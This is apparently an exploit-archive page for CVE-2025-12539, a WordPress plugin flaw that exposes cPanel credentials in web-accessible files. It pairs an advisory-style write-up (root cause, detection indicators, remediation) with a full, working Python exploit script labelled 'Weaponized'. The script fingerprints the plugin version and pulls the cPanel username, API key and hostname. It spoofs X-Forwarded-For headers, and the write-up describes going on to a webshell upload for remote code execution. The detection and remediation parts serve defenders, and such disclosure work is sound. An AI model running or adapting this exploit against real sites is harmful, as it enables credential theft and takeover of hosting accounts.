PoC Archive PoC Archive
Critical CVE-2025-12539 unpatched

TNC Toolbox: Web Performance Unauthenticated cPanel Credential Exposure (CVE-2025-12539)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-12539
Category
web
Affected product
TNC Toolbox: Web Performance (WordPress plugin)
Affected versions
<= 1.4.2
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-12539
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagswordpress, tnc-toolbox, sensitive-information-exposure, unauthenticated, cpanel, credential-theft, privilege-escalation, python
RelatedN/A

Affected Target

FieldValue
Software / SystemTNC Toolbox: Web Performance (WordPress plugin)
Versions Affected<= 1.4.2
Language / PlatformPython 3.7+ (PoC), PHP (target plugin), targets WordPress installations
Authentication RequiredNo
Network Access RequiredYes

Summary

TNC Toolbox: Web Performance is a WordPress plugin that integrates with cPanel to manage caching/performance settings, and stores the cPanel API credentials (hostname, username, API key) it needs for that integration in plaintext files under a predictable, web-accessible path inside wp-content. The plugin’s Tnc_Wp_Toolbox_Settings::save_settings function writes these files without any access controls (no .htaccess deny, no index.php guard, no authentication check on the files themselves), so anyone who can reach the site over HTTP can simply request the files directly. The included PoC (CVE-2025-12539.py) fingerprints the plugin’s version via its readme.txt, and if the version is <= 1.4.2, fetches the three credential files and reports the extracted cPanel username, API key, and hostname. With those credentials, an attacker can log into cPanel and, from there, upload files or otherwise gain remote code execution on the underlying hosting account.


Vulnerability Details

Root Cause

The plugin persists cPanel API credentials to static, unauthenticated files under wp-content:

1
2
3
4
5
CONFIG_PATHS = {
    "cpanel-username": "/wp-content/tnc-toolbox-config/cpanel-username",
    "cpanel-api-key": "/wp-content/tnc-toolbox-config/cpanel-api-key",
    "server-hostname": "/wp-content/tnc-toolbox-config/server-hostname",
}

Because these are plain files inside the default web root (rather than being stored in the WordPress database with capability checks, or outside the webroot entirely), any unauthenticated HTTP client can retrieve them with a simple GET request. There is no session, nonce, or authorization check on save_settings’s output files — the vulnerability is a straightforward information-disclosure-by-design flaw rather than a memory-safety or injection bug.

Attack Vector

  1. The PoC fetches <target>/wp-content/plugins/tnc-toolbox/readme.txt and extracts the Stable tag: field via regex to determine the installed plugin version.
  2. If the detected version is <= 1.4.2, the script performs a version-tuple comparison (Nxploited_is_vulnerable) to confirm the target is in scope.
  3. The script then issues GET requests to the three predictable config file paths (cpanel-username, cpanel-api-key, server-hostname) under wp-content/tnc-toolbox-config/.
  4. Any file that returns HTTP 200 with non-empty content is captured as a leaked cPanel credential and included in a JSON report.
  5. With the leaked hostname, username, and API key, an attacker authenticates to the cPanel API/UI directly, from which they can upload a webshell via the File Manager or configure a cron job, achieving full remote code execution on the hosting account (and potentially every WordPress site hosted under that account).

Impact

Unauthenticated disclosure of cPanel API credentials, enabling account takeover of the hosting control panel and — from there — arbitrary file upload, remote code execution, and compromise of the entire hosting environment (not just the single WordPress site).


Environment / Lab Setup

Target:   WordPress with TNC Toolbox: Web Performance plugin <= 1.4.2 installed
Attacker: Python 3.7+, requests package

Proof of Concept

PoC Script

See CVE-2025-12539.py in this folder.

1
python3 CVE-2025-12539.py -u https://TARGET.example

Detection & Indicators of Compromise

GET /wp-content/plugins/tnc-toolbox/readme.txt HTTP/1.1
GET /wp-content/tnc-toolbox-config/cpanel-username HTTP/1.1
GET /wp-content/tnc-toolbox-config/cpanel-api-key HTTP/1.1
GET /wp-content/tnc-toolbox-config/server-hostname HTTP/1.1

Signs of compromise:

  • Access log entries requesting /wp-content/tnc-toolbox-config/* from unfamiliar IPs.
  • cPanel login/API activity from IPs not associated with the site administrator.
  • Unexpected files added via cPanel File Manager or new cron jobs on the hosting account.
  • Requests to readme.txt for version fingerprinting followed immediately by requests to the config paths (automated scanner pattern).

Remediation

ActionDetail
Primary fixUpgrade TNC Toolbox: Web Performance beyond 1.4.2 once a patched release is available that stores credentials outside the webroot or in the WordPress options table with proper access controls; rotate the cPanel API key immediately if the plugin has ever been active.
Interim mitigationDeactivate the plugin; manually delete/move the wp-content/tnc-toolbox-config/ directory; add a web server deny rule for wp-content/tnc-toolbox-config/; rotate any exposed cPanel API keys and review cPanel account activity for unauthorized logins.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-12539 on 2026-07-06. Templated Nxploited-style branding (banner/author messaging, Telegram handle) but the exploit logic — version fingerprinting via readme.txt plus fetching the three specific tnc-toolbox-config credential file paths — is CVE-specific and functional.

CVE-2025-12539.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/usr/bin/env python3
# By: Nxploited (Khaled Alenazi)
# GitHub: https://github.com/Nxploited
# Telegram: https://t.me/KNxploited

import argparse
import json
import logging
import random
import re
import sys
import time
from datetime import datetime
from typing import Optional, Tuple

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S",
)
logger = logging.getLogger("Nxploited")

READ_ME_PATH = "/wp-content/plugins/tnc-toolbox/readme.txt"
CONFIG_PATHS = {
    "cpanel-username": "/wp-content/tnc-toolbox-config/cpanel-username",
    "cpanel-api-key": "/wp-content/tnc-toolbox-config/cpanel-api-key",
    "server-hostname": "/wp-content/tnc-toolbox-config/server-hostname",
}
VERSION_THRESHOLD = "1.4.2"
DEFAULT_TIMEOUT = 12

def Nxploited_build_session(insecure: bool = False, extra_headers: Optional[dict] = None) -> requests.Session:
    session = requests.Session()
    retries = Retry(total=3, backoff_factor=0.7, status_forcelist=(429, 500, 502, 503, 504))
    session.mount("https://", HTTPAdapter(max_retries=retries))
    session.mount("http://", HTTPAdapter(max_retries=retries))
    session.verify = not insecure
    default_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited/2.0",
        "Accept": "text/plain, */*;q=0.1",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
        "Referer": "https://google.com",
        "X-Forwarded-For": f"8.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}"
    }
    if extra_headers:
        default_headers.update(extra_headers)
    session.headers.update(default_headers)
    return session

def Nxploited_fetch_readme(session: requests.Session, base_url: str, timeout: int = DEFAULT_TIMEOUT) -> Tuple[Optional[str], Optional[str]]:
    url = base_url.rstrip("/") + READ_ME_PATH
    try:
        logger.debug(f"Requesting readme from {url}")
        resp = session.get(url, timeout=timeout)
        resp.raise_for_status()
        return resp.text, None
    except Exception as e:
        return None, f"Error fetching readme: {e}"

def Nxploited_parse_version(readme_text: str) -> Optional[str]:
    m = re.search(r'(?im)^\s*Stable\s+tag:\s*([0-9]+(?:\.[0-9]+)*)\s*$', readme_text, re.MULTILINE)
    if m:
        return m.group(1).strip()
    return None

def Nxploited_version_tuple(v: str) -> Tuple[int, ...]:
    return tuple(map(int, v.split(".")))

def Nxploited_is_vulnerable(found_version: str, threshold: str = VERSION_THRESHOLD) -> bool:
    try:
        fv = Nxploited_version_tuple(found_version)
        tv = Nxploited_version_tuple(threshold)
        maxlen = max(len(fv), len(tv))
        fv += (0,) * (maxlen - len(fv))
        tv += (0,) * (maxlen - len(tv))
        return fv <= tv
    except Exception:
        logger.exception("Version comparison failed")
        return False

def Nxploited_natural_delay(base: float = 0.7, variance: float = 1.3):
    time.sleep(base + random.uniform(0, variance))

def Nxploited_print_step(msg, delay_base=0.7, delay_var=1.3, end="\n"):
    print(msg, flush=True, end=end)
    Nxploited_natural_delay(delay_base, delay_var)

def Nxploited_fetch_config(session: requests.Session, base_url: str, timeout: int = DEFAULT_TIMEOUT) -> dict:
    results = {}
    for name, path in CONFIG_PATHS.items():
        url = base_url.rstrip("/") + path
        try:
            resp = session.get(url, timeout=timeout)
            if resp.status_code == 200 and resp.text.strip():
                results[name] = resp.text.strip()
            else:
                results[name] = ""
        except Exception as e:
            results[name] = f"Error fetching {name}: {e}"
        Nxploited_print_step(f"[+] Trying to fetch {name.replace('-', ' ')}...")
    return results

def Nxploited_build_report(url: str, vulnerable: bool, found_version: Optional[str], configs: dict, error: Optional[str]) -> dict:
    return {
        "tool": "CVE-2025-12539-exploit",
        "description": "CVE-2025-12539 Exploit Script by: Khaled Alenazi",
        "target": url,
        "checked_at": datetime.utcnow().isoformat() + "Z",
        "vulnerable": vulnerable,
        "found_version": found_version or "",
        "threshold_version": VERSION_THRESHOLD,
        "configs": configs,
        "errors": error or "",
    }

def Nxploited(url: str, insecure: bool = False, timeout: int = DEFAULT_TIMEOUT):
    logger.info(f"Starting exploit check for {url}")
    Nxploited_print_step(f"Target: {url}")

    session = Nxploited_build_session(insecure)
    Nxploited_print_step("Collecting file info: Trying to read wp-content/plugins/tnc-toolbox/readme.txt ...")

    readme, err = Nxploited_fetch_readme(session, url, timeout)
    if err:
        Nxploited_print_step("Failed to get readme.txt.\n" + err)
        report = Nxploited_build_report(url, False, None, {}, err)
        print(json.dumps(report, ensure_ascii=False, indent=2))
        print("\nExploited By: Khaled Alenazi (Nxploited)")
        print("GitHub: https://github.com/Nxploited")
        print("Telegram: https://t.me/KNxploited")
        return

    Nxploited_print_step("Successfully fetched readme.txt. Analyzing version ...")
    version = Nxploited_parse_version(readme)
    if version:
        Nxploited_print_step(f"Detected Stable tag: {version}")
    else:
        Nxploited_print_step("Stable tag not found in readme.txt.")

    is_vuln = False
    configs = {}
    if version:
        is_vuln = Nxploited_is_vulnerable(version, VERSION_THRESHOLD)
        if is_vuln:
            Nxploited_print_step("Target is vulnerable! Exploiting ...\n", delay_base=1.2, delay_var=1.7)
            configs = Nxploited_fetch_config(session, url, timeout)
            for k, v in configs.items():
                if v and not v.startswith("Error"):
                    Nxploited_print_step(f"[!] {k}: {v}", delay_base=1.1, delay_var=1.2)
                else:
                    Nxploited_print_step(f"[-] {k} not found or error", delay_base=0.7, delay_var=0.8)
            Nxploited_print_step("Finished fetching all data.\n")
        else:
            Nxploited_print_step("Version is newer than threshold, likely not vulnerable.")
            configs = {}
    else:
        Nxploited_print_step("Can't determine exposure status, no valid version number.")
        configs = {}

    Nxploited_print_step("Building organized JSON report ...")
    report = Nxploited_build_report(url, is_vuln, version, configs, err)
    print(json.dumps(report, ensure_ascii=False, indent=2))
    print("\nExploited By: Khaled Alenazi (Nxploited)")
    print("GitHub: https://github.com/Nxploited")
    print("Telegram: https://t.me/KNxploited")

def parse_args():
    p = argparse.ArgumentParser(description="CVE-2025-12539 Exploit Script (professional edition) by Khaled Alenazi")
    p.add_argument("-u", "--url", required=True, help="Target base URL, e.g. https://site.com")
    p.add_argument("--insecure", action="store_true", help="Disable SSL verification (useful for self-signed certs).")
    p.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT, help="Request timeout in seconds.")
    return p.parse_args()

if __name__ == "__main__":
    args = parse_args()
    try:
        Nxploited(args.url, insecure=args.insecure, timeout=args.timeout)
    except KeyboardInterrupt:
        logger.info("Interrupted by user.")
        sys.exit(1)
    except Exception as e:
        logger.exception("Unexpected error: %s", e)
        sys.exit(2)